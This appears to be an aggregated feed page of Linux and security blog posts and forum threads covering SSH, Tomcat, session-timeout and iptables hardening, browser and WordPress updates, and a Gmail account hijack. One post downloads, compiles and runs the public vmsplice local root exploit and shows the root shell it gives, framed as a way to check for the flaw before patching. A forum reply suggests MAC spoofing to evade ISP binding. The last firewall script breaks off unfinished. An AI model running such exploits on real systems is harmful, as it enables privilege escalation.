60057 items (60056 unread) in 81 feeds
FLOSSIndia
(29905 unread)
FLOSSSouthAsia
(9426 unread)
FLOSSAsia
(13696 unread)
Miscellaneous
(7029 unread)
Related tags: ubuntu [+], debian [+], Linux [+], release [+], patch [+], opensource [+], mysql [+], howto [+], ssh [+], mozilla [+], firefox [+], PHP [+], sql [+], iptables [+], htaccess [+], hacks [+], filters [+], bandwidth [+], apache [+], Conference [+], .htaccess [+], wordpress [+], vmspliceexploit [+], update [+], tomcatserver [+], tomcat [+], sudo [+], securityrelease [+], rescuecd [+], phishing [+], opensuse [+], networkmonitoring [+], mysqli [+], malaysia [+], livecd [+], knoppix [+], hsbc [+], hardening [+], gmail [+], exploit [+], connector [+], bugfix [+], bank [+], Vietnam [+], VNSecurity [+], Technology [+], Ports [+], Networks [+], Logs [+], Internet [+], IPcop [+], Honeynet [+], Hackinthebox [+], HackInTheBoxConference2007 [+], HITBSecConf [+], Firewall [+], Apple [+]
One of annoyance I found on openSUSE 11 is that Yast is no longer sudo enabled. The privilege elevation sudo line “[username] ALL=(ALL) NOPASSWD: ALL” works with everything else except for Yast.
In versions prior to openSUSE 11 sudo worked fine with Yast. Apparently in openSUSE 11 Yast sudo was switched to su.
Here’s how you’d get Yast to start working with sudo again.
danny@pandora:~> kwriteconfig -file kdesurc -group super-user-command -key super-user-command sudo
Firefox 3.0.1 is out. This is the first update for Firefox 3 which was released not too long ago. It covers security, stability and bug fixes.
Download Firefox 3.0.1 now. Remember, Firefox 2 will only be available till December 2008.
Tags: Firefox, Mozilla, patch, release, Security, web browser
This is how you turn off directory list for yr Tomcat server.
1. Edit the default servlet in the {$CATALINA_HOME}/conf/web.xml file.
2. Look for the <init-param> section within the <servlet section>
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>
org.apache.catalina.servlets.DefaultServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
3. Change the <param-value> to false for the <param-name>listing</param-name> section.
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
Its sometimes necessary to limit who has access to a server via SSH. Most Linux security hardening checklist today require this to be enforced.
Fortunately this can be easily done with openSSH. Just edit the /etc/ssh/sshd_config file and add the desired directives shown below. You don’t need them all, just use what suits you needs.
openSSH provides 4 directives, AllowUsers, AllowGroups, DenyUsers and DenyGroups
AllowUsers buddy john doe
Only users buddy, john and doe will be able to log in via ssh.
AllowGroups sysadmin bkpadmin
Only users within groups sysadmin and bkpadmin will be able to log in via ssh.
DenyUsers rambo tina
This is the opposite of AllowUsers. All users except for rambo and tina will be able to log in via ssh.
DenyGroups hr payroll
This is the opposite of AllowGroups. All groups except for hr and payroll will be able to log in via ssh.
Beware, I received a phishing attempt today claiming that HSBC is carrying out it’s regular maintenance work and needs me to update my profile.
Always remember, banks never send us emails with action items.
Tags: bank, hacks, hsbc, phishing, Security
My DC operation guys access Linux servers on a daily basis but somehow they never remember to log out. This is a security risk as anyone could gain access to the open console and create caos.
Today, yet again I’m forced to play the bad guy by dummy proofing my Linux servers by implementing default timeout for user sessions.
Bash and Korn both support the TMOUT variable which I will use to set the default timeout.
The etc/.bashrc file will apply the timeout system wide but if you need it to be user specific then modify the ~/.bashrc file instead.
Here’s how it’s done.
echo "TMOUT=300 >> /etc/bashrc
echo "readonly TMOUT" >> /etc/bashrc
echo "export TMOUT" >> /etc/bashrc
Log off, start a new session and wait for 5 minutes. Your session should terminate
Tags: HowTo, Linux, Security
to test either your system affected with the exploit:
$ wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
$ cc -o exploits 27704.c
$ ./exploits
the result should be like this:
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7dac000 .. 0xb7dde000
[+] root
root@thinkbuntu:~/tools/xploit# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(admin),1000(fenris)
to patch it:
$ wget http://blog.myfenris.net/files/patch/disable-vmsplice-if-exploitable.c
$ cc -o patch disable-vmsplice-if-exploitable.c
$ ./patch
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7d9a000 .. 0xb7dcc000
[+] root
Exploit gone!
U all should retry the exploit to make sure the xploit got patches properly …
P/s: for those who use Linux kernel 2.6.17 - 2.6.24.1 are advice to patch your system … or otherwise u will got 0wn3d by s0m30n3!!!!
Technorati Tags: vmsplice exploit, Security

A new security release for WordPress is out. This will be an urgent fix as it attentions a flaw found in the XML-RPC implementation. An attacker could easily exploit this vulnerability and gain the ability to edit user posts.
Besides the fix this release also includes a few bug fixes.
I’ve done my upgrade, have you?
Download the WordPress 2.3.3 here.
Source: WordPress Dev
Tags: bug fix, release, Security, WordPress
| nomankhn wrote: |
| Pls check do you have all headers and their code is avaialble with that distribution and by the way what update you are using and what specific version you are using for security software.
If you are still getting that error, contact your vendor or its better to install following software but still you need source-code to compile it from source code. lets try it from www.kernel.org following softwares are required for kernel that comes with RedHat Advance server update #2. kernel-devel-2.6.9-22.EL kernel-smp-devel-2.6.9-22.EL kernel-doc-2.6.9-22.EL kernel-2.6.9-22.EL kernel-hugemem-devel-2.6.9-22.EL kernel-utils-2.4-13.1.69 you pls check your side. cd /usr/src/kernel/*EL-i686 My suggestion is that you should recompile your security software with that kernel version sourc-code that it prefers. |
| AcidEYE wrote: |
| As Salam U Alikum,
clients are already scanned, formated their hards, partion are recreated. but after 1 week this problem start again. |
| nomankhn wrote: |
|
What is the status of ipfire? is there any update. |
| Quote: |
| Hello everybody,
today we will release Core Update Number 4 which contains some new feature added ability to log all dropped packets when using outgoing firewall mode 1 added ability to change the iptables logging behaviour of the firewall, maybee this page will get extra options in the future (esp. don´t log MS Ports on red ) -> [64.233.179.104] fixed pakfire cgi -> will now reload after upgrade removed firewall logs from kernel logview -> needed to change the log prefix for iptables fixed the detailed firewall log graph pages, sometimes the local interface was missing The update is available via pakfire, some other packages have been updated during this week You can find open bugs via [bugtracker.ipfire.org] You need to reboot your fire, or restart the firewall skript, after this the new log prefixes will be active, when you change the firewall log options or disable some, there will also be an advice to reboot, maybee we will change this in a later core release. Maniac for the IPFire Team |
| Kamranalilakhnavi wrote: |
| I am compiling kernel with grsecurity pacth on RedHat4 Enterprise. Every thing went fine but I am not able to boot my system with new kernel , getting the following error.
Warning: unable to open an initial console. System hanged after this warning. Any help would be highly appreciated.." |
| Code: |
| vsftpd : 192.168.0.1/24 : allow |

I finally upgraded to WordPress version 2.3.2.
Been really tired and busy since coming back from Langkawi last week. Found some time last night so this was the first thing I did.
WordPress 2.3.2 is a security release which fixes a hole that allows attackers to access your drafts and also attain your database structure information through error messages.
Better patch up quick!!
Source: WordPress Dev
Tags: patch, release, Security, security release, update, WordPress
| Quote: |
|
OpenAAPD (0.1-beta) is an Anti Arp Poisoning Daemon for OpenBSD operating system which works with or without DHCP protocol support on the LAN networks without compromising the ARP protocol performances. |
Image taken from DavidAirey
What would you do if someone hacked into your Gmail account and stole valueble information like your user name and passwords?
This happened to David Airey a logo designer from http://www.davidairey.com which is now forced back to it’s secondary URL http://www.davidairey.co.uk. His site was getting about 2000 hits a day. His business cards need to be updated and clients need to be informed.
The attacker managed to leverage a security exploit in Gmail which allowed him to inject a mail filter into Gmail which forwards all mails with attachments to the attacker. The attacker managed to obtain David’s domain account credentials.
During David’s recent holiday to India with his girlfriend, the attacker transfered “www.davidairey.com” to himself and is now holding it ransom till David decides to pay up the ransom fee of USD250 which initially was USD600.
My Advice: Google has since fixed this issue but still, make sure to check your Gmail filters. It could just save you your business and loads of time.
What would you do if this happened to you? How can we prevent this?
Tags: exploit, gmail, hacks, Security
| Quote: |
|
1. wget [coolmudasir.googlepages.com] 2. tar -xvzf firewall.tar.gz 2. cd firewall Before starting the INSTALL Process Read the ReadMe file. 3. ./install (To Start the Installation Process) 4. Enter All the Things Asked by the Install Script. |
| Quote: |
|
Before doing any thing Read the ReadMe file. 1. After Downloading untar the file by "tar -xvzf firewall.tar.gz" 2. Then goto the Firewall Directory "cd firewall" 3. Then run the install script "./install" 4. Enter All the Things Asked by the Install Script. |
| Code: |
| root@engineer-pc:/home/engineer# chkconfig --list | grep iptables
bash: chkconfig: command not found |
| Code: |
| root@engineer-pc:/home/engineer# ps aux | grep iptables
root 14827 0.0 0.0 5120 824 pts/0 S+ 04:50 0:00 grep iptables |
| Code: |
|
/sbin/iptables -F /sbin/iptables -X /sbin/iptables -t nat -F /sbin/iptables -t nat -X /sbin/iptables -P INPUT ACCEPT /sbin/iptables -P FORWARD ACCEPT /sbin/iptables -P OUTPUT ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward /sbin/iptables -t nat -A POSTROUTING -o eth2 -p tcp -j MASQUERADE |
| mudasir wrote: |
| AOA,
Dear shakeel_jee7, Is this eth2 your interface on the PC on which internet is working fine, and is this the interface through which internet is working. |
| mudasir wrote: | ||
|
| Code: |
|
#!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /sbin/iptables -P INPUT ACCEPT /sbin/iptables -P FORWARD ACCEPT /sbin/iptables -P OUTPUT ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward /sbin/iptables -t nat -A POSTROUTING -o eth2 -p all -s 192.168.0.1/24 -j MASQUERADE exit 0 "/etc/rc.local" 22 lines, 529 characters |
| Code: |
|
/sbin/iptables -P INPUT ACCEPT /sbin/iptables -P FORWARD ACCEPT /sbin/iptables -P OUTPUT ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward /sbin/iptables -t nat -A POSTROUTING -o eth0 -p all -s 0.0.0.0/0 -j MASQUERADE |
| x2oxen wrote: |
| hay security kid where have u gone??? why this thread gone asleep?? |
| ashariqbal wrote: |
| MAC address spoofing is possible on most OS. Of course this is a major problem from the point of view of cable operators (there was a recent thread on this). |
| mudasir wrote: |
| AOA,
Dear Shakeel_jee7, On the PC on which internet is working, simply enable IP_FORWARDING and Masquerade the outgoing interface. |
| x2oxen wrote: |
| there are two possible ways for doing so.. Just make a miniserver of your own and connect your 2nd pc with that or else switch your second pc mac address to the same one on which they have bind you. |
After more than 1 years using IPcop, sudden i realize that i miss see something really good n nice to have as a addon on IPcop that is firewal logs viewer. After seeing the version that compatible with the IPcop might be absolute for IPcop 1.4.18.
What eva it is .. i don’t afraid to try install it in existing firewall, but i do test it 1st @ branch office than proceed to HQ (-.-).
the scripts should be edit like this:
IPCOPVERSION=`grep version /var/ipcop/general-functions.pl | cut -d= -f2 | grep -v Data | tr -d [:blank:];’`
if [ “$IPCOPVERSION” != “1.4.8″ -a “$IPCOPVERSION” != “1.4.9″ -a “$IPCOPVERSION” != “1.4.10″ -a “$IPCOPVERSION” != “1.4.11″ -a “$IPCOPVERSION” != “1.4.12″ -a “$IPCOPVERSION” != “1.4.18″ ]
the rest of the script maintain as it it, then u save it, :wq!
Try run the installation script again, ./install
U will see something like this:
This is fwlogs installing.
installing files
creating webinterface entries
creating language entries
Enable automatic versioncheck for this mod ? [y/n] y
cleaning up
Installation finished.to uninstall fwlogs just run ‘/usr/local/bin/uninstall_fwlogs’
Wallah … its ready to user
!
Next, open ya favorite browser then view the IPcop GUI under tabs logs –> FW-Log Graphs by Ip & FW-Log Graphs by Port
Here are some screen shot:-
You may click the buttons for details on the IP’s and the Ports, i luv the graph becoz i don’t have to see the original firewall logs will look like this :
So u have the choice either to use looking at the log by words & numbers @ by the graph
, enjoy it!!
| Code: |
| $IPT -A INPUT -i $NETWORK -s 0.0.0.0 -d $LOC_IP -m state --state ESTABLISHED,RELATED -j ACCEPT |
| Code: |
|
#!/bin/sh ############################################### #### Firewall Script Created By #### #### Mudasir Mirza #### #### cool_mudasir@hotmail.com #### #### 0092-321-2395320 #### ############################################### #set -x ######################## ## Defining Variables ## ######################## # Path to IPTABLES executable IPT="/sbin/iptables" # Interface Card Connected to Local Network NETWORK="eth1" # Interface Card Connected to Internet INTERNET="eth0" # Loopback Interface LOOPBACK="lo" # IP Addreses of Server SERVER_IP="10.0.0.3" # Local Network IP Range / Subnet LOC_IP="10.0.0.0/24" # INTERNAL Broadcast LOC_BCAST=10.0.0.255 # IP On The Internet Interface NET_IP="192.168.1.3/24" # DHCP Server IP DHCP_SERVER="10.0.0.3" # SSH Port SSH_PORT="22" # FTP on the Network FTP_IP="10.0.0.6" # FTP Port FTP_PORT="21" # Primiry DNS Server P_DNS="203.99.163.240" # Alternate DNS Server A_DNS="203.99.163.243" # Path To Directory Containing MAC Addresses MACDIR="/macs" # Path To File Containing MAC Addresses MACFILE="/macs/allowed.macs" # Path To File Containging IP Addresses IPFILE="/macs/allowed.ips" # Location of modprobe MOD="/sbin/modprobe" ######################### ### Flushing IPTABLES ### ######################### $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X ################################################# ### Calling Required IPTABLES Modules For FTP ### ################################################# $MOD ip_conntrack $MOD ip_conntrack_ftp $MOD ip_nat_ftp ######################################## ### Setting Default Policies to Drop ### ######################################## $IPT -P INPUT DROP $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT echo Default Policies Set To Drop #################################### ### Setting Needed PROC Settings ### #################################### echo 1 > /proc/sys/net/ipv4/ip_forward ############################## ### Setting IPTABLES Rules ### ############################## ############################### ### MAC Addresses Filtering ### ############################### rm -f $MACDIR/mac.addresses cat $MACFILE | awk '{ print $1 }' >> $MACDIR/mac1 cat $MACDIR/mac1 | sed "s/#.*//" > $MACDIR/mac2 cat $MACDIR/mac2 | sed "/^ /d;/^$/d;" > $MACDIR/mac.addresses rm -f $MACDIR/mac1 rm -f $MACDIR/mac2 rm -f $MACDIR/ip.adresses cat $IPFILE | awk '{ print $1 }' >> $MACDIR/ip1 cat $MACDIR/ip1 | sed "s/#.*//" > $MACDIR/ip2 cat $MACDIR/ip2 | sed "/^ /d;/^$/d;" > $MACDIR/ip.addresses rm -f $MACDIR/ip1 rm -f $MACDIR/ip2 echo ----------------------------------------------- echo Marking Packets from Known MAC and IP Addresses echo ----------------------------------------------- cat $MACDIR/mac.addresses | while read MACS do $IPT -t mangle -A PREROUTING -i $NETWORK -m mac --mac-source $MACS -j MARK --set-mark 1 done $IPT -t mangle -A PREROUTING -i $NETWORK -s 10.0.0.10 -j MARK --set-mark 1 cat $MACDIR/ip.addresses | while read IPS do $IPT -t mangle -A PREROUTING -i $NETWORK -s $IPS -j MARK --set-mark 1 done echo ----------------------------------------------- echo ---- MAC and IP Address Filtering Complete ---- echo ----------------------------------------------- $IPT -A INPUT -i $NETWORK -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark ! --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-net-unreachable ######################################### ### MAC Addresses Filtering Completed ### ######################################### ##################### ### Rules for FTP ### ##################### $IPT -A INPUT -i $NETWORK -s 0.0.0.0 -d 0.0.0.0 -p tcp --dport 20:21 -j ACCEPT $IPT -A INPUT -i $NETWORK -s 0.0.0.0 -d 0.0.0.0 -p tcp --dport 1024:65535 -j ACCEPT $IPT -A INPUT -i $NETWORK -p tcp -s 0/0 -d $LOC_IP --dport 20:21 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $NETWORK -p tcp -s 0/0 -d $LOC_IP --dport 20:21 -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A INPUT -i $NETWORK -p tcp -s 0/0 -d $LOC_IP --dport 1024:65535 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $NETWORK -p tcp -s 0/0 -d $LOC_IP --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A INPUT -i $NETWORK -s 0.0.0.0 -d $LOC_IP -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -t nat -A POSTROUTING -o $INTERNET -p tcp --dport 21 -m mark --mark 1 -j MASQUERADE $IPT -t nat -A POSTROUTING -o $INTERNET -p tcp --dport 20 -m mark --mark 1 -j MASQUERADE ######################### ### SSH From Internet ### ######################### $IPT -A INPUT -i $INTERNET -p tcp --dport $SSH_PORT -j ACCEPT $IPT -A INPUT -i $INTERNET -p udp --dport $SSH_PORT -j ACCEPT ################################################################# ### Redirecting FTP Traffic Coming From Internet To LOCAL FTP ### ################################################################# $IPT -t nat -A PREROUTING -i $INTERNET -p udp --dport 21 -j DNAT --to $FTP_IP:$FTP_PORT $IPT -t nat -A PREROUTING -i $INTERNET -p tcp --dport 21 -j DNAT --to $FTP_IP:$FTP_PORT ################################ ### Accepting Marked Packets ### ################################ $IPT -A INPUT -i $NETWORK -m mark --mark 1 -j ACCEPT $IPT -A FORWARD -i $NETWORK -m mark --mark 1 -j ACCEPT $IPT -A OUTPUT -o $INTERNET -m mark --mark 1 -j ACCEPT #################################### ### Droping All Unmarked Packets ### #################################### $IPT -A FORWARD -i $NETWORK -m mark ! --mark 1 -j DROP $IPT -A INPUT -i $NETWORK -m mark ! --mark 1 -j DROP ######################################################## ### Accepting Voice/CAM Request for Marked Packets. ### ######################################################## $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p udp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5100 -j ACCEPT ####################################################### ### Droping Voice/CAM Traffic which is not Marked. ### ####################################################### $IPT -t nat -A PREROUTING -i $NETWORK -m mark ! --mark 1 -p tcp --dport 5000:5010 -j DROP $IPT -t nat -A PREROUTING -m mark ! --mark 1 -i NETWORK -p tcp --dport 5100 -j DROP ################################ ### Accepting DHCP Request. ### ################################ $IPT -A INPUT -i $NETWORK -p udp -s $DHCP_SERVER --sport 67 -d 255.255.255.255 --dport 68 -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p udp -s 255.255.255.255 --sport 68 -d $DHCP_SERVER --dport 67 -j ACCEPT ################################################################ ### Redirecting HTTP and FTP Traffic to Squid Proxy Server. ### ################################################################ $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 80 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 80 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 21 -j REDIRECT --to-port 8080 $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 21 -j REDIRECT --to-port 8080 ################################################# ### MASQUERADE All packets that are Marked. ### ################################################# $IPT -t nat -A POSTROUTING -p all -s $LOC_IP -m mark --mark 1 -o $INTERNET -j MASQUERADE ############################### ### Rules for ICMP Protocol ### ############################### $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $P_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $A_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d ! $LOC_IP -p icmp --icmp-type echo-request -j DROP #$IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark ! --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-net-unreachable $IPT -A INPUT -p icmp -s $LOC_IP -d $LOC_BCAST -j DROP ############################################### ### No Restriction for Loopback Interface ### ############################################### $IPT -A INPUT -i $LOOPBACK -j ACCEPT $IPT -A OUTPUT -o $LOOPBACK -j ACCEPT ######################################################################## ### Droping Packets coming from internet claming to be from Network ### ######################################################################## $IPT -A INPUT -i $INTERNET -s $LOC_IP -j DROP $IPT -A INPUT -i $INTERNET -d 127.0.0.0/8 -j DROP $IPT -A INPUT -i $NETWORK -j ACCEPT $IPT -A OUTPUT -o $NETWORK -j ACCEPT ####################################################### ### Accepting Extablished and Related Connections ### ####################################################### $IPT -I INPUT -i $NETWORK -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A INPUT -i $INTERNET -m state --state RELATED,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -o $INTERNET -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT ############################################ ### Droping Invalid and Unknown Packets ### ############################################ $IPT -A FORWARD -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -m state --state INVALID -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ALL NONE -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags SYN,RST SYN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags FIN,RST FIN,RST -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,FIN FIN -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,PSH PSH -j DROP $IPT -A INPUT -i $INTERNET -p tcp --tcp-flags ACK,URG URG -j DROP #$IPT -t nat -A PREROUTING -i $NETWORK -p tcp --syn -s $LOC_IP --dport 80 -m mark ! --mark 1 -j DROP |
| Quote: |
|
iptables -A INPUT -i $NETWORK -p tcp --dport 20:21 -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A INPUT -i $NETWORK -p tcp --dport 20:21 -m state --state NEW,RELATED -j ACCEPT iptables -A INPUT -i $NETWORK -p tcp --dport 1024:65535 -m state --state NEW,RELATED -j ACCEPT iptables -A INPUT -i $NETWORK -p tcp --dport 1024:65535 -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i $NETWORK -p tcp --dport 1024:65535 -m state --state NEW,RELATED -j ACCEPT iptables -A FORWARD -i $NETWORK -p tcp --dport 1024:65535 -m state --state RELATED,ESTABLISHED -j ACCEPT |
| mudasir wrote: |
| AOA,
Please tell me what should i do in order for FTP sites to work behind this script |
| mudasir wrote: |
| Please tell me what should i do in order for FTP sites to work behind this script |

A new update for Firefox was released just 4 days after the 2.0.0.10 update was made available to the public. The latest update 2.0.0.11 fixes a few compatibulity issues that showed up after upgrading to 20.0.0.10. Nothing serious, just minor extension issues and website compatibility issues.
Make sure you have the latest version. This will happen automatically but if it does not then get the latest version here.
Source: Mozilla
Tags: Firefox, Mozilla, patch, release, Security, web browser
| Code: |
|
MOD="/sbin/modprobe" $MOD ip_conntrack $MOD ip_conntract_ftp $MOD ip_nat_ftp iptables -A INPUT -i $NETWORK -p tcp --dport 20:21 -j ACCEPT iptables -A FORWARD -p tcp --dport 20:21 -j ACCEPT iptables -A OUTPUT -o $INTERNET -p tcp --dport 20:21 -j ACCEPT |
| mudasir wrote: |
| AOA,
Dear sameer666, I am not a hacker, i dont even know how to write exploits, not even a professional in tis field. However i like to contribute what ever i can to LP that i find informative. |

Firefox 2.0.0.10 has been released. This is a security update which fixes the issues listed below.
MFSA 2007-39 Referer-spoofing via window.location race condition
MFSA 2007-38 Memory corruption vulnerabilities (rv:1.8.1.10)
MFSA 2007-37 jar: URI scheme XSS hazard
Firefox will automatically update itself to the latest version but if it does not you can download the latest version from the Firefox homepage. My Firefox is up2date, is yours?
Source: Mozilla Developer News
Tags: Firefox, Mozilla, patch, release, Security, web browser
| Code: |
|
#!/bin/sh ############################################### #### Firewall Script Created By #### #### Mudasir Mirza #### #### cool_mudasir@hotmail.com #### #### 0092-321-2395320 #### ############################################### #set -x ######################## ## Defining Variables ## ######################## # Path to IPTABLES executable IPT="/sbin/iptables" # Interface Card Connected to Local Network NETWORK="eth0" # Interface Card Connected to Internet INTERNET="eth1" # Loopback Interface LOOPBACK="lo" # IP Addreses of Server SERVER_IP="192.168.1.1" # Local Network IP Range / Subnet LOC_IP="192.168.1.0/24" # INTERNAL Broadcast LOC_BCAST=192.168.1.255 # IP On The Internet Interface NET_IP="172.16.0.1/24" # DHCP Server IP DHCP_SERVER="192.168.1.1" # IP on whch SQUID Proxy is Running SQUID_SERVER="192.168.1.1" # Squid PORT SQUID_PORT="8080" # SSH Port SSH_PORT="22" # Primiry DNS Server P_DNS="203.135.1.117" # Alternate DNS Server A_DNS="203.135.0.70" # Path To Directory Containing MAC Addresses MACDIR="/files/macs" # Path To File Containing MAC Addresses MACFILE="/files/macs/allowed.macs" ######################### ### Flushing IPTABLES ### ######################### $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X ######################################## ### Setting Default Policies to Drop ### ######################################## $IPT -P INPUT DROP $IPT -P FORWARD ACCEPT $IPT -P OUTPUT ACCEPT echo Default Policies Set To Drop #################################### ### Setting Needed PROC Settings ### #################################### echo 1 > /proc/sys/net/ipv4/ip_forward ############################## ### Setting IPTABLES Rules ### ############################## ############################### ### MAC Addresses Filtering ### ############################### rm -f $MACDIR/mac.addresses cat $MACFILE | awk '{ print $1 }' >> $MACDIR/mac1 cat $MACDIR/mac1 | sed "s/#.*//" > $MACDIR/mac2 cat $MACDIR/mac2 | sed "/^ /d;/^$/d;" > $MACDIR/mac.addresses rm -f $MACDIR/mac1 rm -f $MACDIR/mac2 echo ---------------------------------------- echo Marking Packets from Known MAC Addresses echo ---------------------------------------- cat $MACDIR/mac.addresses | while read MACS do $IPT -t mangle -A PREROUTING -i $NETWORK -m mac --mac-source $MACS -j MARK --set-mark 1 done echo ----------------------------------------------- echo ---- MAC Address Filtering Complete ---- echo ----------------------------------------------- ######################################### ### MAC Addresses Filtering Completed ### ######################################### ############################################ ### Accepting SSH Requests From Internet ### ############################################ $IPT -A INPUT -i $INTERNET -p tcp --dport 22 -j ACCEPT $IPT -A INPUT -i $INTERNET -p udp --dport 22 -j ACCEPT ################################ ### Accepting Marked Packets ### ################################ $IPT -A INPUT -i $NETWORK -m mark --mark 1 -j ACCEPT $IPT -A FORWARD -i $NETWORK -m mark --mark 1 -j ACCEPT #################################### ### Droping All Unmarked Packets ### #################################### $IPT -A FORWARD -i $NETWORK -m mark ! --mark 1 -j DROP $IPT -A INPUT -i $NETWORK -m mark ! --mark 1 -j DROP ######################################################## ### Accepting Voice/CAM Request for Marked Packets. ### ######################################################## $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p udp --dport 5000:5010 -j ACCEPT $IPT -t nat -A PREROUTING -m mark --mark 1 -i $NETWORK -p tcp --dport 5100 -j ACCEPT ####################################################### ### Droping Voice/CAM Traffic which is not Marked. ### ####################################################### $IPT -t nat -A PREROUTING -i $NETWORK -m mark ! --mark 1 -p tcp --dport 5000:5010 -j DROP $IPT -t nat -A PREROUTING -m mark ! --mark 1 -i NETWORK -p tcp --dport 5100 -j DROP ################################ ### Accepting DHCP Request. ### ################################ $IPT -A INPUT -i $NETWORK -p udp -s $DHCP_SERVER --sport 67 -d 255.255.255.255 --dport 68 -j ACCEPT $IPT -A OUTPUT -o $NETWORK -p udp -s 255.255.255.255 --sport 68 -d $DHCP_SERVER --dport 67 -j ACCEPT ################################################################ ### Redirecting HTTP and FTP Traffic to Squid Proxy Server. ### ################################################################ $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p tcp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT $IPT -t nat -A PREROUTING -i $NETWORK -s $LOC_IP -m mark --mark 1 -p udp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT ################################################# ### MASQUERADE All packets that are Marked. ### ################################################# $IPT -t nat -A POSTROUTING -p all -s $LOC_IP -m mark --mark 1 -o $INTERNET -j MASQUERADE ############################### ### Rules for ICMP Protocol ### ############################### $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $P_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $A_DNS -p icmp -j ACCEPT $IPT -A INPUT -i $NETWORK -s $LOC_IP -d ! $LOC_IP -p icmp --icmp-type echo-request -j DROP $IPT -A INPUT -i $NETWORK -d $SERVER_IP -m mark --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-host-unreachable $IPT -A INPUT -i $NETWORK -s $LOC_IP -d $SERVER_IP -m mark ! --mark 1 -p icmp --icmp-type echo-request -j REJECT --reject-with icmp-net-unreachable $IPT -A INPUT -p icmp -s $LOC_IP -d $LOC_BCAST -j DROP ############################################### ### No Restriction for Loopback Interface ### ############################################### $IPT -A INPUT -i $LOOPBACK -j ACCEPT $IPT -A OUTPUT -o 